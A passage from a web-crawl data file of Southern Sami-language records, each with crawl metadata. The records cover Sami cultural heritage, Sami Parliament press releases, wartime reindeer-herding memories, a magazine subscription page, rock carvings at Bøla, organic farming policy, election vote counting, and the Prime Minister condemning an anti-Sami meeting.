aerpievuekijste\nRedaktöören mietie gærjan ulmie lea viehkiehtidh guktie doh åarjelsaemien kultuvreaerpievuekieh orre boelvide jåarhka. Dunfjeldh veanhta gellie skuvlh jïh institusjovnh mah ööhpehtimmine gïehtelieh duedtien sisnjelen eah elliesvoetem faagesne gaptjh.\n- Duedtie ovmessie dïjrh govlesadta hammoen jïh tjaalehtjimmien tjïrrh, men gaatesjen gelliej luvnie daah möönsterh ajve jåarhka goh feegreme, rïesege jïh tjeahpoe. Daate gærja pryövoe lohkijem veelebe buerkiestidh maam mïelide doh ovmessie symbovlh jïh vielie utnieh. Mijjieh saemieh maajetjh aktem bieliem daestie mijjen aerpievuekine utniehtamme, men industrialiseradimmien tjïrrh stoerresiebriedahke lea jïjnjem dehtie goerkesistie dasseme, gidtjh tjaalehtjimmie ij leah ajve feegreme. Gaskem jeatjah pryövebe daam daajroem gorredidh olles eevre gaarvenh, Dunfjeld minngemosth jeahta.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/samimag.no\/sma\/content\/tjaebpies-gaerja-aarjelsaemien-duedtien-bijre","date":"2019-06-18T01:13:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998600.48\/warc\/CC-MAIN-20190618003227-20190618025227-00433.warc.gz","language":"sma","language_score":0.9999933243,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999933242797852}","num_words":351,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Båatsoeståvroe aktem vihkeles funksjovnem åtna jïh gellie aamhtesh gïetede mah leah båatsoen bïjre. Dan åvteste leam joekoen geerjene mijjieh seamadamme barkedh båatsoen maahtoem ståvrosne nænnoestehtedh. Saemiedigkieraerie lea sov nammoehtimmesne golme lïhtsegijstie jïh sæjjasadtjijste raeriestimmide fulkeme mejtie gaskem jeatjah Nöörjen Båatsoesaemiej Rijhkesiebrie (NBR) lea buakteme aarebi daan boelhken, saemiedigkieraerie Silje Karine Muotka jeahta.\nSaemiedigkieraerie lea daejtie lïhtsegidie båatsoeståvrose nammoehtamme boelhken 2019-2023.\n- Inge Even Danielsen\n- Inger Marie Gaup Eira\n- Leif Anders Somby\nSæjjasadtjh:\n- Bjørn Thomas Åhren\n- Inger Marit Eira Åhren\n- Anders Somby jr\nSïemes nænnoesåbpoe meatannænnoestimmien bïjre\nSaemiedigkie nænnoesti gïetedimmesne bïevnesijstie båatsoen bïjre 2016, Saemiedigkie idtji sïjhth lïhtsegh nammoehtidh båatsoeståvrose guktie ståvroe lea jåhteme daan mearan. Saemiedigkie jïh Laanteburrie- jïh beapmoedepartemeente leah rååresjimmiej tjïrrh seamadamme saemien meatannænnoestimmiem jïh båatsoefaageles maahtoem nænnoestehtedh gosse edtja båatsoeståvroem nammoehtidh åvtese.\nSaemiedigkieraerie lea lissine nommh raeriestamme åvtehkekandidaatide båatsoeståvrose. Daan beajjetje öörnegen mietie båatsoelaakesne § 71, Saemiedigkie edtja golme lïhtsegh nammoehtidh mearan staate njieljie lïhtsegh nammohte. Ståvroeåvtehke veeljesåvva staaten lïhtsegi gaskem.\n- Mijjieh aavoedibie akten annje hijven jïh konstruktijve dialogese Laanteburrie- jïh beapmoedepartemeentine dan guhkiebasse prosessen bïjre staaten nammoehtimmesne ståvroeåvtehkistie jïh jeatjah ståvroelïhtsegijstie, Muotka jeahta.\nRaeriestamme laakejarkelimmie ¨idjti Stoerredægkan bïejesovvh\nGoevten 2019 aalkoelisnie departemeente raeriestimmiem laakejarkelimmien bïjre govlehtæmman bïeji, mij gaskem jeatjah raeriestimmiem utni jarkelimmien bïjre paragraafeste 71 nammoehtimmien bïjre båatsoeståvroste. Desnie departemeente raeriesti laakem jarkelidh, guktie Saemiedigkie idtji vielie edtjh lïhtsegh ståvrose nammoehtidh, men meehti. Daate raeriestimmie bååstede geasalgovvi, jïh idtji gïetedæmman bïejesovvh Stoerredigkesne. Stoerredigkien jielememoenehtse daelie proposisjovnem jarkelimmiej bïjre båatsoelaakesne gïetede.\n– Joekoen hijven mijjieh seamadimh dovne saemien meatannænnoestimmiem nænnoestehtedh, men aaj båatsoefaageles maahtoem jih daajroem saemien gïelen, kultuvren jïh siebriedahken bïjre gosse edtja båatsoeståvroem nammoehtidh båetijen aejkien, saemiedigkieraerie Silje Karine Muotke jeahta.\nVielie bïevnesh, gaskesadth saemiedigkieraeriem jïh fungereden saemiedigkiepresidentem, Silje Karine Muotka, tel 98487576","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemiedigkie-lea-lihtsegh-baaatsoestaavrose-nammoehtamme","date":"2019-07-19T16:17:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526324.57\/warc\/CC-MAIN-20190719161034-20190719183034-00469.warc.gz","language":"sma","language_score":0.9999780655,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999780654907227}","num_words":270,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Hijven reerenasse raereste dåarjoem lissiehtidh saemien maanagïertefaalenasside 5 millijovnh kråvnajgujmie revideradamme nasjonaalebudsjedtesne, men numhtie lea amma reaktoe aaj, gosse nöörjen maanagïertesuerkie aktem stoerre lissiehtimmiem åtneme stoerredigkieboelhken, saemiedigkiepresidente Vibeke Larsen jeahta.\n- Saemien åssjelh, goh lïerehtimmie, jielemeevtiedimmie jïh kultuvreråajvarimmie, aktem tjïelke giehpiedimmiem dåarjojne åtneme dej minngemes jaepiej, viertiestamme seammaligke nöörjen suerkiejgujmie. Manen veeljem guarkedh dïhte lissie dåarjoe revideradamme nasjonaalebudsjedtesne goh akte signaale reerenasse staatebudsjedtesne tjaktjese sæjhta budsjedtem Saemiedægkan jïh saemien åssjelidie lutnjedh, Larsen jeahta.\nSaemiedigkie lea rååresjimmine orreme akten orre budsjedtemaallen bïjre Saemiedægkan juktie stuerebe veanhtadihksvoetem jïh tsevtsemefaamoem sjugniedidh budsjedtemieriej bijjeli Saemiedægkan jïh saemien åssjelidie, bielelen sïemesvoetem buektiehtidh dan bïjre.\n- Dan åvteste Stoerredigkie lea reerenassem birreme aktem orre budsjedtemaallem vuarjasjidh Saemiedægkan bielelen reerenasse raeriestimmine båata dan bïjre, dellie veanhtedem Stoerredigkie daelie dïedtem vaalta jïh birrie reerenassem aktem budsjedtemaallem sjïehtesjidh mij Saemiedigkiem tsevtsemefaamoem gorrede budsjedtemieriej bijjelen Saemiedægkan jïh saemien åssjelidie, jïh mij våaroemasse beaja Saemiedigkie akte almetjeveeljeme årgaane, jïh ij akte staateles etaate, Larsen minngemosth jeahta.\nVielie bïevnesh: Saemiedigkiepresidente Vibeke Larsen, 941 30 116 jallh e-påaste: email@example.com","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Revideradamme-nasjonaalebudsjedte-tjuara-signaaline-aarrodh-saemien-gielem-jih-kultuvrem-lutnjedh","date":"2019-07-19T12:43:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526237.47\/warc\/CC-MAIN-20190719115720-20190719141720-00005.warc.gz","language":"sma","language_score":0.9999865294,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999865293502808}","num_words":160,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie lea dåarjoem Aajegasse vadteme juktie prosjektem 2. veartenedåaran bïjre tjirrehtidh. Aajkoe lij soptsesh jïh mojhtesh vihtiestidh Røros-saemien dajveste.\nJarnge lea saemien nyjsenæjjah jïh ålmah gihtjehtamme mah dåaram dååjrin. Dah aarkebiejjien jieleden bïjre soptsestin dåaroejaepiej, båatsoen bïjre jïh lovsehtimmien bïjre raasti rastah. Bievnijh aaj mujhtieh guktie sijjieh vihth aktem monnehke båatsoem tseegkin mænngan dåaram 5 jaepieh åtneme.\nBaajin årrodh leekedidh dåaresne\nSaemieh baajin årrodh bovtsem leekedæmman tjöönghkedh juktie slyöhpedh bearkoem tyskeridie doekedh. Dah ajve ånnetji bïjre jarkan leekedin gaerteni lïhke bielelen tyskerh dan bïjre deejrin. Gellie tyske dåaranïerh lin bijjene vaeresne jïh muvhten aejkien dah niestieh veeltin krievveste.\nBåatsoeburrieh stillesovvin leekedidh, men dam vuastalin. Daate lij gedtiekrirrien aalkoe Forollhognesne. Bovtse Forollhognese jïh Sveerjese haaseni. Mænngan gellie bovtseburrieh Sveerjesne mïnnin juktie bovtsem bååstede veedtjedh, men tyskeridie reektin daate barkoe idtji lyhkesh. Såemies bovtsh Sveerjesne leekesovvin, olles niestieh aevhkine sjïdth tyskeridie. Saemieh aktem jïjtsh «paassem» utnin dåarajaepiej. Naemhtie dah meehtin raasten rastah mïnnedh Sveerjesne. Dovne tyskerh jïh saemienfåvhta vaenie daajroem båatsoen bïjre utnin jïh dan åvteste idtjin guarkah gosse beahtahtallin.\nAkte jeatjah bievnije soptseste dej lij jïjnje beapmoe dåarajaepiej, jalhts lij snaerpiedimmie. Jïjtsh gaertienistie voejem, vuastam jïh bearkoem åadtjoejin. Jienebh dejstie bievnijijstie soptsestin tyskerh hijvenlaakan dåemiedin, men lij vïerrebe dej nöörjen nazistigujmie.\nRaastelovsehtæjja\nAkte dejstie bievnijijstie prosjektesne soptsesti:\n«Manne lim lovsehtæjja raasten rastah, 9 -10 jaepien båeries dåarajaepiej. Manne baataræjjide raasten gåajkoe dåeriedim, dellie jarkajim. Åajvahkommes lij staarealmetjh Tråanteste jïh dagkerh. Baataræjjah gåetieluhpiem utnin åahpetji luvnie ovmessie sïeterinie. Guktie dellie mijjieh dejtie desnie veedtjimh jïh jeehtimh daelie tïjje båateme baataridh. Mijjieh veedtsimh biejjege gosse lij tjuavkede. Mijjieh iktesth veele daajroem utnimh gusnie tyskerh hööllestin. Guktie gaajhke hijvenlaakan gåaradi. Almetjistie almetjidie bïevnesh juhtin gusnie tyskerh hööllestin åvtelen raasten gåajkoe mïnniji. Almetjh iktegisth deejrin. Idtji galkh fer jïjnjem gihtjedh, edtji ajve darjodh gosse lij lovsehtæjja raasten rastah. Lij vaarege jis datne fer jïjnjem deejrih jïh tjoerih soptsestidh. Goh lovsehtæjja baataræjjide soptsesti gåabph edtjin vaedtsedh, geajnoem vuesiehti. Vaarege fer lïhke båetedh. Lij stoerre vaerieh, gellie sijjieh gusnie meehti tjïekedidh.»\nBovtse girtiesjoljetjem trööri\nAkte jeatjah lustes soptsese mij soptsesovvi prosjektesne lij:\n«Manne måjhtam aktene gaertienisnie aktene ïentjesne noerhtene Praahkesne gosse paahkanadtin nöörjen girtiejgujmie. Daarah lin noerhtese baatereminie gosse tyskerh böötin. Dellie tjoerin gaskesoejedh daesnie jïh bensijnem dievhtedh, jïh dellie lij vihkeles dah lin geajnoen lïhke, jïh tjoerin girtiesjoljetjem darjodh. Dellie bovtside vaereste veedtjin jïh dejtie dohkh diekie baejhtiejin juktie soejemesijjiem trööredh. Manne dam måjhtam dan åvteste manne mov aehtjien åelkiej nelnie tjahkasjim mij lijrehtimmiebovtsine veedtsi. Men goerpe lij hierkiej daelviegeajnoe lij daan ïentjen bijjelen gusnie soejemesijjie lij trööresovveme. Men idtji bovtse nahkesjh hierkiegeajnoen loedtem trööredh mij lij ïentjen bijjelen, guktie akte såarhts balse desnie sjïdti. Guktie dïhte voestes girtie mij girtiesjoljetjem nuhtji stovhpi. Doh jeatjah girtieh tjoerin jaevresne soejedh. Men lij geerve bensijnem dohkoe foeresjidh. Dan åvteste buerebh Vikenen gåajkoe haeliehtin. Jïh desnie jaevriejïengesne soejin. Dïhte girtie mij stovhpi tjåadtjoen sjïdti daesnie Praahkesne naa guhkiem. Im daejrieh mij vielie heannadi dejnie girtine. Men ïedtjije lij dejnie mårhkanamme girtine mijjese maanide. Maajetjh idtjin naakenh ovlahkosne faaradin. Pilote buektiehti drïektem såajmanidh»","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Saemien-daaaramojhteseprosjekte-Roerosesne","date":"2019-07-22T00:04:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527396.78\/warc\/CC-MAIN-20190721225759-20190722011759-00341.warc.gz","language":"sma","language_score":0.9999886751,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999886751174927}","num_words":489,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(Nedte + paehpere). Sïejhme åasa NOK 249,- fïerhten jaepien åvteste.\n1. REGISTREEREME DONGKEMISTIE\nDongkeme saerniemagasijneste:https:\/\/samimag.ramsaltid.com\/?origin_uri=\/ (veeljh tjaktjekampanjem). Registreerh orre veerveme dongkemh jïh seedth tjeakoesbaakoem dejtie.\n2. REGISTREEREME VEERVIJISTIE\nSeedth e-påastem dov nommine, e-påasteadresse, tellefovnenommere, persovnenommere jïh kontonommere juktie maaksoem åadtjodh provisjovneste, jïh nommem dejtie mejtie leah veerveme diekie: firstname.lastname@example.org. Datne mij veervie tjoerh \"Fakturareferanse\"-sijjesne dov nommem tjaeledh.\nSÁMi ođasmagasiidna (saerniemagasijne) aktem hijven laavenjostoem vaajtele jïh gaajhkesh buerie båeteme goh lohkijh.\nSámi magasijnen bïjre\n- Medtie 2000 lohkijh fïerhten våhkoen\n- Jïjtjeraarehke våhkoeplaerie mij båata fïerhten bearjadahken\n- Nasjonaale jïh veartenevijries aamhtesi bïjre\n- Fokuse politihkese, jieliemasse, kultuvrese jïh histovrijasse\n- Forume duekieanalyjsese, laejhtiemasse, kronihkese jïh digkiedæmman\n- Vielie goh 1850 dåeriedæjjah FB:sne\n- Låhkoe 1100\n- Deellesåvva abpe Saepmesne\nDov aevhkieh goh dongkije Sámi magasijnese\n- Åadtjoeh Sámi magasijnem dov gåatan fïerhten bearjadahken\n- Giehpebe åasa fïerhten plaerien åvteste\n- Åadtjoeh gaajhkh aamhtesh lohkedh sijjesne samimag.no\n- Åadtjoeh eAvis lohkedh mij lea sjïehtedamme mobijlese jïh nedtepreejrese\n- Åadtjoeh gaajhkh tjaalegh våarhkosne lohkedh\n-\nMijjen bïjre\niSÁMi.Press AS akte frijje jïh jïjtjeraarehke saemien meedijasïelte. Mijjieh barkebe Årroeh vååregeplaakaten njoelkedassi mietie hijven preessevuakan. Åejviekontovre lea Karasjohkesne.\nUlmie lea aktem ektie saemien nedtebaseradamme meedijabetniem tseegkedh aktine gieltegs maahtoebyjresinie. Aalkoelisnie eajhnadovvebe aktem redaksjovnem jïh appevuekiem tseegkedh, saernie- jïh bïevnesesijjie juktie saemien saernieh jïh magasijnem darjodh aktine saemien sisveginie. Sïjhtebe bijjiebaakoeh sjugniedidh jïh sijjiem vedtedh soptsesidie mah tjuerieh soptsesovvedh.\n- -iSámi.Press edtja akte ektie meedijabetnie årrodh saemien årroejidie\n- -iSámi.Press sov bijjemes ulmine åtna biejjieöörnegem bïejedh jïh digkiedæmman, mïelesjugniedæmman jïh gïeleevtiedæmman sjïehteladtedh saemien siebriedahkesne.\n- -iSámi.Press edtja saernieh- jïh sjyöhtehke aamhth utnedh mah leah biejjieplaeriej vuekien mietie\n- -iSámi.Press sæjhta akten ræhpas jïh bievnije byögkeles soptsestæmman saemien årroejidie sjïehteladtedh\n- -iSámi.Press sæjhta akten positijve siebriedahkeevtiedæmman Saepmesne dåarjelidh jïh govlesadtemasse rïhpestidh jeatjah aalkoealmetjigujmie veartenisnie.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/samimag.no\/sma\/content\/dongkeme","date":"2019-07-17T04:28:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525046.5\/warc\/CC-MAIN-20190717041500-20190717063500-00317.warc.gz","language":"sma","language_score":0.9999811649,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.999981164932251}","num_words":262,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6000 jaepien båeries bovtse læhkoem dorje\nJarkoestimmie: Ellen Bull Jonassen\nOvrehte 6000 jaepiej juassah naaken mijjen maadtoeladtjijste njeemehtjespaenjien uvte tjåadtjoejin. Dah gellie centimeeterh sïevigujmie spaenjesne tjaalehtjin. Illedahke gaskem jeatjah akte bovtse sjïdti iemie stoeredahkesne. Daan biejjien gaskem 20.000 jïh 25.000 almetjh guessine minnieh daan sjïere kultuvremojhtesasse mij lea vyörtegs vuejnedh, jïh dan åvteste daate akte dejstie Trööndelagen stööremes turisteattraksjovnijste sjædta.\nVueptiestamme 1800-låhkoen\nAlmetjh spaenjietjaalegidie Bøla-sijjesne vueptiestin 1800-låhkoen minngiegietjesne. Dellie aktem tjïelke guvviem bovtseste vööjni. Mænngan jienebh spaenjietjaalegh gaavneme, gaskem jeatjah aktede stoerre duvreste. Gellie jaepieh doh spaenjietjaalegh leah onterdimmiem jïh gutnedimmiem gååskeme dej luvnie mah sijjesne mïnneme. Saemien Sijte daam sijjiem åtna goh akte vihkeles biehkie museumen sjaavnjosne vielie ïedtjem jïh goerkesem sjugniedidh mijjen ektie histovrijasse.\n- Dæjman åadtjoejimh daejredh dah mah Bølabuam eekin sïjhtin gïehtelimmine orrijidh, dah lin orre aajhterh ohtsedeminie jïh mijjieh tuhtjimh daate lij akte nuepie maam idtjim maehtieh mijjeste luejhtedh. Mijjieh goerehtimh mejtie åadtjoejim gåetiem åestedh, jïh dam åadtjoejimh. Gålkoen 1.b. dæjman limh Bølabuan aajhterinie. Fylhkentjïelte dïedtem åtna dan jïjtjehke spaenjietjaalegesijjien åvteste juktie dah leah rijhkeantikvaaren guhkiedamme gïete gosse lea kultuvremojhtesi bïjre, jïh mijjieh dejgujmie lïhke barkeminie. Daelie aktine stoerre sjïehteladtemeprogrammine gïehteleminie man nomme spaenjiefeeleme gusnie edtjieh spaenjietjaalegesijjieh Trööndelagesne sjïehteladtedh. Bøla sæjhta akte dejstie sijjijste årrodh maam sijhtieh vuartasjæjjide buerebelaakan sjïehteladtedh. Daate nuepieh vadta akten buerebe åehpiedehtemesoejkesjasse goh mijjieh daan biejjien utnebe. Dellie Saemien Sijte jïh Bølabua sæjhta meatan sjïdtedh goh akte nænnoes aktööre dennie barkosne, museumen direktööre Birgitta Fossum soptseste.\nVoenges beapmoe jïh histovrijesoptsestimmie\nDaejnie lokaaline dah nuepiem utnieh guesside vielie bïevnesh bovtsen bïjre vedtedh Bølesne, jïh jeatjah gieltegs gaavnoeh dennie dajvesne. Guessieh edtjieh aaj nuepiem åadtjodh njaelkies beapmoem gåassodh jïh\/jallh dejtie hearskoes beapmojde meatan vaeltedh gåatan. Museumen direktööre soptseste dah leah aalkeme jïjtsh prïhtjhgåetine jïh onne bovrine Bølabuesne nïerhkeme.\n- Mijjieh eajhnadovvimh voenges beapmoem faalehtidh lïhkebistie: saemien beapmoe men aaj voenges beapmoe vuesiehtimmien gaavhtan dejstie sïeterijstie lïhkebisnie jïh jeatjah deallahtæjjijste. Vuesiehtimmien gaavhtan mijjen lea vuasta dajveste. Ij leah sån seamma gellie almetjh mah prïhtjhgåetien sïjse båetieh goh dah mah spaenjietjaalegidie vaaksjoeh, men såemies hov mijjese båetieh jïh dellie nuepiem åadtjobe gieltegs dorjesh jïh vielie bïevnesh vedtedh dejtie mah spaenjietjaalegidie vaaksjoeh Fossum tjïelkeste.\nSaemien Sijten dïedtedajve abpe åarjelsaemien dajvem feerhmie Saltdalen luvhtie noerhtene Hedmaarhken gåajkoe åarjene. Museume dej seamma laavenjassigujmie barka goh jeatjah museumh, reereme, åehpiedehteme, dotkeme jïh orrestimmie jïh vihtiestimmie aatijste mah leah vihkeles orreme saemien histovrijisnie. Museume gegkeste dah varke dåarjoeh åådtje staatebudsjedten tjïrrh guktie dah aktem orre museumegåetiem åadtjoeh.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/samimag.no\/sma\/content\/6000-jaepien-baeries-bovtse-laehkoem-dorje","date":"2019-07-16T08:40:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195524517.31\/warc\/CC-MAIN-20190716075153-20190716101153-00270.warc.gz","language":"sma","language_score":0.9999889135,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999889135360718}","num_words":391,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ekologeles laanteburresne edtja eatnemen gïrtelimmiem jïh ektiedahkoem krööhkedh. Vuesiehtimmien gaavhtan dle ij edtjh kunstgjødsel jallh syntetiske sjædtoevaarjelimmievierhtieh nåhtadidh. Njoelkedassh gaertjiedieh man gellie kreekh mah maehtieh årrodh aktene vihties dajvesne. Nöörjesne dle Debio mij gïehtjede jïh jååhkesje dam ekologeles laanteburriedorjemassem.\nPolitihkeles ulmie lea 15 prosenth ekologeles\nReerenassen ulmien mietie dle 15 prosenth beapmoedorjemasseste jïh beapmoeåtnoste edtjieh ekologeles årrodh 2020. Utnijh Nöörjesne eah maehtieh dan jïjnjh ekologeles vaaroeh åestedh goh utnijh jïjnjh jeatjah laantine. Seamma tïjjen goh reerenasse sæjhta edtja aelhkebe sjïdtedh ekologeles vaaroeh åestedh, dle sijhtieh byögkelesvoete edtja åvtene vaedtsedh jïh byjresevietseles vaaroeh veeljedh, jïh vaaroeh mah lea dorjesovveme jolle etihkeles jïh sosijaale standardi mietie. Fylhkenålmah edtjieh daam barkoem dåarjedidh.\nFylhkenålma edtja reerenassen barkosne ekologeles beapmoedorjemassen bïjre viehkiehtidh, viehkine darjojeviermiem eevtjedh jïh råajvarimmieh evtiedidh jïh tjïrrehtidh fïerhten fylhken dahkoesoejkesjinie. Daah vïjhte regijovnh leah ekologeles åvtehkefylhkh ovmessie barkoesuerkide:\n- Østfold, Oslo jïh Akershus leah tjåenghkies åvtehkefylhke ekologeles åtnose.\n- Buskerud lea åvtehkefylhke jåartadaajrose jïh jåartakultuvrese.\n- Vestfold lea åvtehkefylhke ekologeles kruanesaatedorjemassese.\n- Hordalaante jïh Sogn jïh Fjordane leah tjåenghkies åvtehkefylhke ekologeles muerjiedorjemassese.\n- Noerhte- jïh Åarjel-Trööndelage leah tjåenghkies åvtehkefylhke ekologeles mealhkan.\nFylhkenålmaj lea dïedte darjodh jïh tjïrrehtidh dahkoesoejkesjidie ekologeles laantebårran fylhkine. Dah edtjieh aaj barkoem iktedidh jïh vierhtieh joekedidh vihties råajvarimmide jïjtse fyhkesne.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.fylkesmannen.no\/sma\/Rogalaanten\/Laanteburrie-jih-beapmoe\/Ekologeles-laanteburrie\/","date":"2019-08-23T01:45:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317688.48\/warc\/CC-MAIN-20190822235908-20190823021908-00422.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":193,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 28 August 2018\nTjaatsestimmieryökneme veeljemejïjjesne\nTjaatsestimmiedåastoven mænngan veeljemebiejjien edtjieh tjaatsestimmiedåastojh respektijveles veeljemedistriktesne dejtie tjaatsestimmide ryöknedh mejtie dåastoejin.\nÅvteli tjaatsestimmieryöknemem maehtieh aelkedh dah jååhkesjamme åvtelhbodti tjaatsestimmieh veeljemegeegken sïjse biejieh.\nDan mænngan dah dejtie geegkide döömieh jïh dejtie tjaatsestimmide fïerhtene veeljeminie ryöknoeh. Dejtie tjaatsestimmide ryöknoeh jïh krirriej mietie veesmedehtieh. Veeljeminie rïjhkebeajjan, tjïelte- jïh laantedigkiereeremidie dellie rïjhkebiejjieveeljemem voestes ryöknoeh, dan mænngan tjïeltereeremeveeljemem jïh minngemes laantedigkiereeremeveeljemem.\nGosse veeljemedistrikte veeljeme-iehkeden tjaatsestimmide ryökneme dellie illedahkem reektesedåastojidie ringkie mah illedahkem Veeljemeåejvieladtjen veeljemedatasysteemese tjaalasuvvieh. Naemhtie maahta Veeljemeåejvieladtje joe veeljeme-iehkeden annjebodts veeljemeilledahkese ryöknedh.\nSeamma aejkien goh illedahkide veeljemedistriktide tjaalasuvvieh medijah jïh almetjh maehtieh dejtie Veeeljemeåejvieladtjen webbesijjesne lohkedh.\nGosse ryökneminie riejries veeljemesïetelidie sjïere vihtiesvoetevoesside beaja mah geptjieh jïh veeljememoenehtsasse buakta. Veeljememoenehtsen dïedte tjaatsestimmide veeljemesijjijste dan varki goh gåarede leeneståvrose buakta.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/tjaatsestimmieryokneme-veeljemejijjesne.html","date":"2019-08-17T13:30:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313259.30\/warc\/CC-MAIN-20190817123129-20190817145129-00150.warc.gz","language":"sma","language_score":0.9999762774,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999762773513794}","num_words":119,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.103,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Staateministere Saalboge-tjåanghkoem tjarke laajhta\n–Tjuara sïerredimmiem saemijste itjmieslaakan vaeltedh, staateministere Erna Solberg aktene tjaalegisnie tjaala Stoerredigkien nedtesæjrosne.\nStaateministerem noerhki baanese båetedh\nLars Haltbrekken dïhte, Sosialisteles Gårroehkrirrien stoerredigkiepolitihkere mij staateministere Erna Solbergem haasteme baanese båetedh dan vuestie-saemien tjåanghkoen bïjre Saalbogisnie mij öörnesovvi ruffien aalkoelisnie. Haltbrekken tuhtjie joekoen rovnege siebrie EDL, Organisasjonen for etnisk og demokratisk likeverd, akte årganisasjovne maam såemies vienhtieh rasismem dåarjohte, aktem håalomem tjåanghkosne höölti, jïh öörnedæjjah pryövin aktem saemien dajve-aajhterem tjåanghkoste ålkoestidh. Dïhte daam gyhtjelassem Stoerredigkiepolitihkeri forumasse bïeji:\n–Aassjoe jïjtjene aalkoealmetji vööste, saemieh, lea gaatesjen ij nåhkeme. Tjåanghkoe Saalbogisnie lij dajve-aajhteridie, men öörnedæjjah pryövin aktem saemien dajve-aajhterem nyöjhkedh meatan årrodh tjåanghkosne, jïh åadtjoeji ajve tjåanghkoen sïjse båetedh jis dåajvoehti satne idtji sïjhth mubpide provoseradidh jïh baakoem vaeltedh. Saemiedigkie lea akteraeresne heannadimmien vööste gïrreme. Maahtam staateministerem aaj birredh daan heannadimmien vööste gïrredh?\nLahtestimmesne Haltbrekken aaj vuesehte Saemiedigkien nænnoestæmman gusnie Saemiedigkie tjarke naeliegïehtjedimmien jïh propagandan vööste tjåanghkosne Saalbogisnie girrie. Aaj Saemiedigkie sov nænnoestimmesne birri staateministere Erna Solbergem, jïh vihties politihkerh dajvesne, daan såarhts dåemiedimmien vööste gïrredh mij aassjoem sjugnede.\nVuastele\nStaateministere Erna Solberg lea lahtestimmiem vaestiedamme jïh jeahta satne joekehtsgïetedimmiem etnihkeles våaroemisnie tjarke vuastele.\n–Heannadimmie misse tjirkije Haltbrekken vuesehte, lea gamte ållermaehtemem åådtjeme meedijinie. Jis öörnedæjjah leah aktem almetjem ålkoestamme, jallh voejhkelamme dam ålkoestidh, aktede byögkeles bæjhkoehtamme tjåanghkoste dan åvteste dïhte lea saemie, dellie ij hævvi maehtieh dam jååhkesjidh goh.\nSeamma tïjjen leam vïhtesjamme tjåanghkoen öörnedæjjah leah meedijasse soptsestamme ålkoestimmie aktede saemien dajve-aajhteristie ij lij etnisiteeten gaavhtan, jïh öörnedæjjah aaj vienhtieh ij gåaredh naakenem aktede tjåanghkoste ålkoestidh dan åvteste dah leah saemieh, Solberg tjaala.\nSeamma vaestiedassesne staateministere jeahta satne biejjieladtje lea aassjoe-lahtestimmieh nedtesne vïhtesjamme.\n–Tjuara sïerredimmiem saemijste itjmieslaakan vaeltedh, jïh lahtestimmiesijjine nedtesne maahta gaatesjen biejjieladtje aassjoelahtestimmieh lohkedh. Gosse dan gellie saemieh trïegkenassem, 